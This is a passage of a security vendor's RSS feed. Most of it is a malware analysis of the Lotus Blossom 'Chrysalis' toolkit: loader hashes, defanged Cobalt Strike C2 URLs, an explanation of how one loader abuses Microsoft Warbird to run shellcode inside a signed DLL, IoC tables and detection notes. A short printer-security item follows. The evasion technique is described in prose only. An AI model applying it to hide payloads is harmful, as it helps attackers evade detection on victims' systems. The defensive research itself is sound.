class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-Execution-flow.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt989ba6e7f4c51324/6980c3e773b29add1cc2cb00/lotus-blossom-Execution-flow.png" data-sys-asset-uid="blt989ba6e7f4c51324" data-sys-asset-filename="lotus-blossom-Execution-flow.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Execution flow followed by conf.c and other loaders" data-sys-asset-alt="lotus-blossom-Execution-flow.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9: Execution flow followed by conf.c and other loaders</figcaption></div></figure><h4 style="direction: ltr;">Variation of loaders and shellcode</h4><p style="direction: ltr;"><span style='font-size: undefined;'>In the last year, four similar files were uploaded to public repositories.</span></p><h4>Loader 1:</h4><p><strong>SHA-256: </strong>0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd</p><p><strong>Shellcode SHA-256: </strong>4c2ea8193f4a5db63b897a2d3ce127cc5d89687f380b97a1d91e0c8db542e4f8</p><p><strong>User Agent: </strong>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36</p><p style="direction: ltr;"><strong>URL hosting CS beacon: </strong>http://59[.]110.7.32:8880/uffhxpSy</p><p style="direction: ltr;"><strong>CS http-get URL: </strong>http://59[.]110.7.32:8880/api/getBasicInfo/v1</p><p style="direction: ltr;"><strong>CS http-post URL: </strong>http://59[.]110.7.32:8880/api/Metadata/submit</p><h4>Loader 2:</h4><p><strong>SHA-256: </strong>e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda</p><p><strong>Shellcode SHA-256: </strong>078a9e5c6c787e5532a7e728720cbafee9021bfec4a30e3c2be110748d7c43c5</p><p><strong>User Agent: </strong>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36</p><p style="direction: ltr;"><strong>URL hosting CS beacon: </strong>http://124[.]222.137.114:9999/3yZR31VK</p><p style="direction: ltr;"><strong>CS http-get URL: </strong>http://124[.]222.137.114:9999/api/updateStatus/v1</p><p style="direction: ltr;"><strong>CS http-post URL: </strong>http://124[.]222.137.114:9999/api/Info/submit</p><h4>Loader 3:</h4><p><strong>SHA-256: </strong>b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3</p><p><strong>Shellcode SHA-256: </strong>7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd</p><p><strong>User Agent:</strong> Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36</p><p style="direction: ltr;"><strong>URL hosting CS beacon: </strong>https://api[.]wiresguard[.]com/users/system</p><p style="direction: ltr;"><strong>CS http-get URL: </strong>https://api[.]wiresguard[.]com/api/getInfo/v1</p><p style="direction: ltr;"><strong>CS http-post URL: </strong>https://api[.]wiresguard[.]com/api/Info/submit</p><h4>Loader 4:</h4><p><strong>SHA-256: </strong>fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a</p><p><strong>Shellcode SHA-256: </strong>7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd</p><p><strong>User Agent: </strong>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36</p><p style="direction: ltr;"><strong>URL hosting CS beacon: </strong>https://api[.]wiresguard[.]com/users/system</p><p style="direction: ltr;"><strong>CS http-get URL: </strong>https://api[.]wiresguard[.]com/api/getInfo/v1</p><p style="direction: ltr;"><strong>CS http-post URL: </strong>https://api[.]wiresguard[.]com/api/Info/submit</p><p>⠀</p><p><span style='font-size: undefined;'>From all the loaders we analyzed, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Loader 3</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>piqued our interest for three reasons - shellcode </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>encryption</strong></span></span><span style='font-size: undefined;'> technique, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>execution</strong></span></span><span style='font-size: undefined;'> ,</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>almost identical C2</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>to beacon that was found on the infected asset. All the previous samples used a pretty common technique to execute the shellcode - decrypt embedded shellcode in user space, change the protection of memory region to executable state, and invoke decrypted code via </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CreateThread</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>/ </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CreateRemoteThread</strong></span></span><span style='font-size: undefined;'>; Loader 3 (original name </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'>) violates this approach. </span></p><h4 style="direction: ltr;">Analysis of Loader 3 - ConsoleApplication2.exe </h4><p><span style='font-size: undefined;'>At the first glance, the logic of the sample is straightforward: Load the DLL </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>clipc.dll</strong></span></span><span style='font-size: undefined;'>, overwrite first 0x490 bytes, change the protection to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>PAGE_EXECUTE_READ</strong></span></span><span style='font-size: undefined;'> (0x20), and then invoke </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>NtQuerySystemInformation</strong></span></span><span style='font-size: undefined;'><strong>. </strong></span><span style='font-size: undefined;'>Two interesting notes to highlight here - bytes copied into the memory region of clipc.dll are not valid shellcode and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>NtquerySystemInformation</strong></span></span><span style='font-size: undefined;'> is used to “</span><a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation"><span style='font-size: undefined;'>Retrieve the specified system information</span></a><span style='font-size: undefined;'>”, not to execute code.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad7ccddfd03069d8/6980c4cca05d7d5b4d9ac74d/lotus-blossom-Snippet-from-ConsoleApplication2-exe.png" alt="lotus-blossom-Snippet-from-ConsoleApplication2-exe.png" caption="Figure 10: Snippet from ConsoleApplication2.exe" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-Snippet-from-ConsoleApplication2-exe.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad7ccddfd03069d8/6980c4cca05d7d5b4d9ac74d/lotus-blossom-Snippet-from-ConsoleApplication2-exe.png" data-sys-asset-uid="bltad7ccddfd03069d8" data-sys-asset-filename="lotus-blossom-Snippet-from-ConsoleApplication2-exe.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Snippet from ConsoleApplication2.exe" data-sys-asset-alt="lotus-blossom-Snippet-from-ConsoleApplication2-exe.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 10: Snippet from ConsoleApplication2.exe</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Looking into the copied data reveals two “magic numbers” </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>DEADBEEF</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CAFEAFE</strong></span></span><span style='font-size: undefined;'>, but nothing else. However, the execution of shellcode is somehow successful, so what’s going on?</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5dfccfc7e3596d19/6980c4cccaf3ac7371ce0c06/lotus-blossom-data-copied-clipc-dll.png" alt="lotus-blossom-data-copied-clipc-dll.png" caption="Figure 11: Data copied into clipc.dll" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-data-copied-clipc-dll.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5dfccfc7e3596d19/6980c4cccaf3ac7371ce0c06/lotus-blossom-data-copied-clipc-dll.png" data-sys-asset-uid="blt5dfccfc7e3596d19" data-sys-asset-filename="lotus-blossom-data-copied-clipc-dll.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 11: Data copied into clipc.dll" data-sys-asset-alt="lotus-blossom-data-copied-clipc-dll.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 11: Data copied into clipc.dll</figcaption></div></figure><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>According to the official documentation, the first parameter of NtQuerySystemInformation is of type </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>SYSTEM_INFORMATION_CLASS</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>which specifies the category of system information to be queried. During static analysis in </span><span style='font-size: undefined;'><strong>IDA Pro</strong></span><span style='font-size: undefined;'>, this parameter was initially identified as </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>SystemExtendedProcessInformation|0x80</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>but looking for this value in MSDN and other public references didn’t provide any explanation on how the execution was achieved. But, searching for the original value passed to the function </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>(0xB9)</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>uncovered something interesting. The following </span><a href="https://downwithup.github.io/blog/post/2023/04/23/post9.html"><span style='font-size: undefined;'>blog</span></a><span style='font-size: undefined;'> by DownWithUp covers Microsoft Warbird, which could be described as an internal </span><a href="https://cirosec.de/en/news/abusing-microsoft-warbird-for-shellcode-execution/"><span style='font-size: undefined;'>code protection and obfuscation framework</span></a><span style='font-size: undefined;'><strong>. </strong></span><span style='font-size: undefined;'>These resources confirm IDA misinterpretation of the argument which should be </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>SystemCodeFlowTransition</strong></span></span><span style='font-size: undefined;'>, a necessary argument to invoke Warbird functionality. Additionally, DownWithUp’s blog post mentioned the possible operations:</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc3eb7e9c08aca2f0/6980c55fef7b8950faaca1b2/lotus-blossom-Warbird-operations-documented-by-DownWithUp.png" alt="lotus-blossom-Warbird-operations-documented-by-DownWithUp.png" caption="Figure 12: Warbird operations documented by DownWithUp" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="lotus-blossom-Warbird-operations-documented-by-DownWithUp.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc3eb7e9c08aca2f0/6980c55fef7b8950faaca1b2/lotus-blossom-Warbird-operations-documented-by-DownWithUp.png" data-sys-asset-uid="bltc3eb7e9c08aca2f0" data-sys-asset-filename="lotus-blossom-Warbird-operations-documented-by-DownWithUp.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Warbird operations documented by DownWithUp" data-sys-asset-alt="lotus-blossom-Warbird-operations-documented-by-DownWithUp.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 12: Warbird operations documented by DownWithUp</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Referring to the snippet we saw from </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'>, the operation is equal to </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>WbHeapExecuteCall</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>which gives us the answer on how the shellcode gained execution. Thanks to work of other researchers, we also know that this technique only works if the code resides inside of memory of Microsoft signed binary, thus revealing why </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>clipc.dll</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>has been used.</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>The blog post from </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>cirosec</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>also contains a link for their </span><a href="https://github.com/cirosec/warbird-demos/blob/main/Loader/Loader.cpp"><span style='font-size: undefined;'>POC</span></a><span style='font-size: undefined;'> of this technique which is almost the same replica of </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'>, hinting that author of </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'> simply copied it and modified to execute </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Metasploit block_api</strong></span></span><span style='font-size: undefined;'> shellcode instead of the benign calc from POC. The comparison of the Cobalt Strike beacon configuration delivered via </span><span style='font-size: undefined;'><em><strong>“</strong></em></span><span style='font-size: undefined;'><em>conf.c</em></span><span style='font-size: undefined;'><em><strong>”</strong></em></span><span style='font-size: undefined;'><em> </em></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'> revealed shared trades between these two, most notably </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>domain</strong></span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>public key</strong></span></span><span style='font-size: undefined;'><strong>,</strong></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>process injection technique</strong></span></span><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Attribution to Lotus Blossom</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Attribution is primarily based on strong similarities between the initial loader observed in this intrusion and previously published </span><a href="https://sed-cms.broadcom.com/system/files/threat-hunter-whitepaper/2025-04/2025_04_ChinaLinked_Espionage_Actors.pdf"><span style='font-size: undefined;'>Symantec</span></a><span style='font-size: undefined;'> research. Particularly the use of a renamed </span><span style='font-size: undefined;'><em>“Bitdefender Submission Wizard”</em></span><span style='font-size: undefined;'> to side-load </span><span style='font-size: undefined;'><em>“log.dll”</em></span><span style='font-size: undefined;'> for decrypting and executing an additional payload.</span><br/><span style='font-size: undefined;'>In addition, similarities of the execution chain of </span><span style='font-size: undefined;'><em>“conf.c”</em></span><span style='font-size: undefined;'> retrieved from the infected asset and other loaders that we found, supported by the same </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>public key</strong></span></span><span style='font-size: undefined;'> extracted from CS beacons delivered through </span><span style='font-size: undefined;'><em>“conf.c”</em></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><em>“ConsoleApplication2.exe”</em></span><span style='font-size: undefined;'> suggests with moderate confidence, that the threat actor behind this campaign is likely Lotus Blossom.</span></p><h2 style="direction: ltr;">Conclusion</h2><p style="direction: ltr;">The discovery of the <span data-type='inlineCode'>Chrysalis</span> backdoor and the <span data-type='inlineCode'>Warbird</span> loader highlights an evolution in Lotus Blossom's capabilities. While the group continues to rely on proven techniques like DLL sideloading and service persistence, their multi-layered shellcode loader and integration of undocumented system calls (NtQuerySystemInformation) mark a clear shift toward more resilient and stealth tradecraft.</p><p style="direction: ltr;">What stands out is the mix of tools: the deployment of custom malware (Chrysalis) alongside commodity frameworks like Metasploit and Cobalt Strike, together with the rapid adaptation of public research (specifically the abuse of Microsoft Warbird). This demonstrates that Lotus Blossom is actively updating their playbook to stay ahead of modern detection.</p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;">InsightIDR and MDR</h3><p style="direction: ltr;">InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. <span data-type='inlineCode'>Suspicious Process - Child of Notepad++ Updater (gup.exe)</span> and <span data-type='inlineCode'>Suspicious Process - Chrysalis Backdoor</span> are two examples of deployed detections that will alert on behavior related to Chrysalis. Rapid7 will also continue to iterate detections as new variants emerge, giving customers continuous protection without manual tuning.</p><h3 style="direction: ltr;">Intelligence Hub</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Customers using Rapid7’s Intelligence Hub gain direct access to Chrysalis backdoor, Metasploit loaders and Cobalt Strike IOCs, including any future indicators as they are identified.</span></p><h2 style="direction: ltr;">Indicators of compromise (IoCs)</h2><h3 style="direction: ltr;">File indicators</h3><p><em><strong>Note: </strong></em><em>data may appear cut-off or hidden due to the string lengths in column 2. You can copy the full string by highlighting what is visible.</em></p><table><tbody><tr><td><p>update.exe</p></td><td><p>a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9</p></td></tr><tr><td><p>[NSIS.nsi]</p></td><td><p>8ea8b83645fba6e23d48075a0d3fc73ad2ba515b4536710cda4f1f232718f53e</p></td></tr><tr><td><p>BluetoothService.exe</p></td><td><p>2da00de67720f5f13b17e9d985fe70f10f153da60c9ab1086fe58f069a156924</p></td></tr><tr><td><p>BluetoothService</p></td><td><p>77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e</p></td></tr><tr><td><p>log.dll</p></td><td><p>3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad</p></td></tr><tr><td><p>u.bat</p></td><td><p>9276594e73cda1c69b7d265b3f08dc8fa84bf2d6599086b9acc0bb3745146600</p></td></tr><tr><td><p>conf.c</p></td><td><p>f4d829739f2d6ba7e3ede83dad428a0ced1a703ec582fc73a4eee3df3704629a</p></td></tr><tr><td><p>libtcc.dll</p></td><td><p>4a52570eeaf9d27722377865df312e295a7a23c3b6eb991944c2ecd707cc9906</p></td></tr><tr><td><p>admin</p></td><td><p>831e1ea13a1bd405f5bda2b9d8f2265f7b1db6c668dd2165ccc8a9c4c15ea7dd</p></td></tr><tr><td><p>loader1</p></td><td><p>0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd</p></td></tr><tr><td><p>uffhxpSy</p></td><td><p>4c2ea8193f4a5db63b897a2d3ce127cc5d89687f380b97a1d91e0c8db542e4f8</p></td></tr><tr><td><p>loader2</p></td><td><p>e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda</p></td></tr><tr><td><p>3yzr31vk</p></td><td><p>078a9e5c6c787e5532a7e728720cbafee9021bfec4a30e3c2be110748d7c43c5</p></td></tr><tr><td><p>ConsoleApplication2.exe</p></td><td><p>b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3</p></td></tr><tr><td><p>system</p></td><td><p>7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd</p></td></tr><tr><td><p>s047t5g.exe</p></td><td><p>fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a</p></td></tr></tbody></table><h3 style="direction: ltr;">Network indicators</h3><table><tbody><tr><td><p>95.179.213.0</p></td></tr><tr><td><p>api[.]skycloudcenter[.]com</p></td></tr><tr><td><p>api[.]wiresguard[.]com</p></td></tr><tr><td><p>61.4.102.97</p></td></tr><tr><td><p>59.110.7.32</p></td></tr><tr><td><p>124.222.137.114</p></td></tr></tbody></table><h3 style="direction: ltr;">MITRE TTPs</h3><table><tbody><tr><td><p><strong>ATT&CK ID</strong></p></td><td><p><strong>Name</strong></p></td></tr><tr><td><p>T1204.002</p></td><td><p>User Execution: Malicious File</p></td></tr><tr><td><p>T1036</p></td><td><p>Masquerading</p></td></tr><tr><td><p>T1027</p></td><td><p>Obfuscated Files or Information</p></td></tr><tr><td><p>T1027.007</p></td><td><p>Obfuscated Files or Information: Dynamic API Resolution</p></td></tr><tr><td><p>T1140</p></td><td><p>Deobfuscate/Decode Files or Information</p></td></tr><tr><td><p>T1574.002</p></td><td><p>DLL Side-Loading</p></td></tr><tr><td><p>T1106</p></td><td><p>Native API</p></td></tr><tr><td><p>T1055</p></td><td><p>Process Injection</p></td></tr><tr><td><p>T1620</p></td><td><p>Reflective Code Loading</p></td></tr><tr><td><p>T1059.003</p></td><td><p>Command and Scripting Interpreter: Windows Command Shell</p></td></tr><tr><td><p>T1083</p></td><td><p>File and Directory Discovery</p></td></tr><tr><td><p>T1005</p></td><td><p>Data from Local System</p></td></tr><tr><td><p>T1105</p></td><td><p>Ingress Tool Transfer</p></td></tr><tr><td><p>T1041</p></td><td><p>Exfiltration Over C2 Channel</p></td></tr><tr><td><p>T1071.001</p></td><td><p>Application Layer Protocol: Web Protocols (HTTP/HTTPS)</p></td></tr><tr><td><p>T1573</p></td><td><p>Encrypted Channel</p></td></tr><tr><td><p>T1547.001</p></td><td><p>Boot or Logon Autostart Execution: Registry Run Keys</p></td></tr><tr><td><p>T1543.003</p></td><td><p>Create or Modify System Process: Windows Service</p></td></tr><tr><td><p>T1480.002</p></td><td><p>Execution Guardrails: Mutual Exclusion</p></td></tr><tr><td><p>T1070.004</p></td><td><p>Indicator Removal on Host: File Deletion</p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'><strong><em>*</em></strong></span><span style='font-size: undefined;'><em>IOCs contributed by </em></span><a href="https://x.com/AIexGP"><span style='font-size: undefined;'><em>@AIexGP</em></span></a><span style='font-size: undefined;'><em> on X.</em></span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 recommends updating to the latest version of Notepad++.  In addition, the IoCs provided above and within Rapid7 Intelligence Hub can be used to hunt within your logs during the timeframe of June through November, 2025, as this is the timeframe when the backdoor activity is known to have been taking place. </span></p><h4><span style='font-size: undefined;'><em>Interested in learning more?</em></span></h4><p><span style='font-size: undefined;'>Catch </span><a href="https://www.brighttalk.com/webcast/10457/661975?utm_source=blog&amp;utm_medium=webcast&amp;utm_content=blog-1-chrysalis-registration&amp;utm_campaign=global-mdr-2026-q1-webinar-prospect-eng" target="_blank"><span style='font-size: undefined;'><strong>Inside Chrysalis</strong></span></a><span style='font-size: undefined;'>, Rapid7's webinar led by Christiaan Beek, on-demand via BrightTALK.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit</link>
      <guid isPermaLink="false">bltd41e34819d964415</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Ivan Feigl]]></dc:creator>
      <pubDate>Mon, 02 Feb 2026 15:49:06 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[New Research: Multifunction Printer (MFP) Security Concerns within the Enterprise Business Environment]]></title>
      <description><![CDATA[<p>Multifunction printers (MFPs) do far more than print. They scan, email, fax, store, and authenticate. That convenience comes with risk. Our latest report, <a href="https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/blt55f19b593b05481d/693abc2fb39bdbb323e35406/understanding-multifunction-printer-research-whitepaper.pdf" target="_self">Understanding Multifunction Printer (MFP) Security within the Enterprise Business Environment</a>, from Rapid7’s <a href="https://www.rapid7.com/blog/author/deral-heiland/" target="_self">Deral Heiland</a>, Principal Security Researcher (IoT), and <a href="https://www.rapid7.com/blog/author/sam-moses/" target="_self">Sam Moses</a>, Security Consultant, takes a clear look at where MFPs expand your attack surface and how to reduce that risk.</p><h2>Why this research matters</h2><p>MFPs are everywhere, often overlooked, and frequently underprotected. Many organizations deploy them without password changes, patch cycles, or network segmentation. Attackers notice. Because MFPs are attached to networks and can carry sensitive data, compromise can enable credential theft, data leakage, and lateral movement within the network. </p><p>The report tracks how long-standing and emerging weaknesses continue to affect MFP security. It highlights common risk areas such as weak authentication and limited patching practices, among others, that leave devices open to misuse or compromise. As these printers have grown more connected and feature-rich, the potential impact of a single vulnerable device has increased, especially when linked to core business systems or identity services.</p><p>The study also examines broader exposure trends across the enterprise landscape. Thousands of MFPs remain directly accessible from the internet, and vulnerability data shows that many models have faced serious flaws in recent years. Beyond technical issues, organizational processes like inconsistent patch management and poor decommissioning practices often allow sensitive data and credentials to linger on devices long after their use.</p><p>Penetration testing data collected by Rapid7 and Raxis confirms that these risks are not theoretical. Many organizations still deploy MFPs with default settings, leaving them open to credential theft and data access that can help attackers move deeper into the network.</p><p>The report introduces Praeda-II, a community tool designed for pentesters, auditors, and IT teams who need fast visibility into vulnerable printers, to identify risks in MFPs across modern models.</p><h2>See the research</h2><p>If your organization relies on networked printers, this research offers the insights you need. Read <a href="https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/blt55f19b593b05481d/693aa3e9593811ca67692373/understanding-multifunciton-printer-research.pdf" target="_self">Understanding Multifunction Printer (MFP) Security within the Enterprise Business Environment</a> to learn about key risks and practical steps to strengthen your printer security program.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-new-research-multifunction-printer-mfp-security-concerns-within-the-enterprise-business-environment</link>
      <guid isPermaLink="false">blt2f125b40ae895d1b</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Deral Heiland]]></dc:creator>
      <pubDate>Thu, 11 Dec 2025 10:57:28 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3ae6fb8e07d88e0/67ee88468d0b99031be0ea84/resources-research.jpg" medium="image" />
    </item>
  </channel>
</rss>